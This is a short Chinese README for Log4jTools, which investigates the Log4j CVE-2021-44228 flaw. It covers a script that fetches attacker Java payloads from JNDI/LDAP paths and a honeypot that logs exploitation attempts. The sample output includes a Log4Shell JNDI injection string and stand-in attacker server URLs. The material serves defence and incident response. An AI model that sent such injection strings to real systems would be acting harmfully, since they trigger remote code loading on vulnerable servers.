Log4jTools

用于调查 Log4j CVE-2021-44228 的工具

漏洞说明与演示

https://www.youtube.com/watch?v=0-abhd-CLwQ

FetchPayload.py （从 JNDI 查找提供的 LDAP 路径获取 Java payload）

依赖：curl（系统自带），requests（Python）

示例命令：

python FetchPayload.py ldap://maliciouserver:1337/path

[+] getting object from ldap://maliciouserver:1337/path
[+] exploit payload: http://maliciouserver:80/Exploit.class
[+] seeing if attacker left behind un-compile payload http://maliciouserver:80/Exploit.java
[x] failed to find payload Exploit.java
[+] trying to fetch compiled payload http://maliciouserver:80/Exploit.class
[+] found payload and saved to file Exploit.class_

SimpleHoneypot.py （蜜罐，用于捕获基于 '${' 存在的利用尝试）

依赖：python3，asyncore

示例命令：

python3 SimpleHoneypot.py

[2021-12-09 13:00:00,000] Possible CVE-2021-44228 Attempt: 127.0.0.1:1111 -> port 8080 - GET /?id=${jdni:ldap://127.0.0.1:1389/hax} HTTP/1.1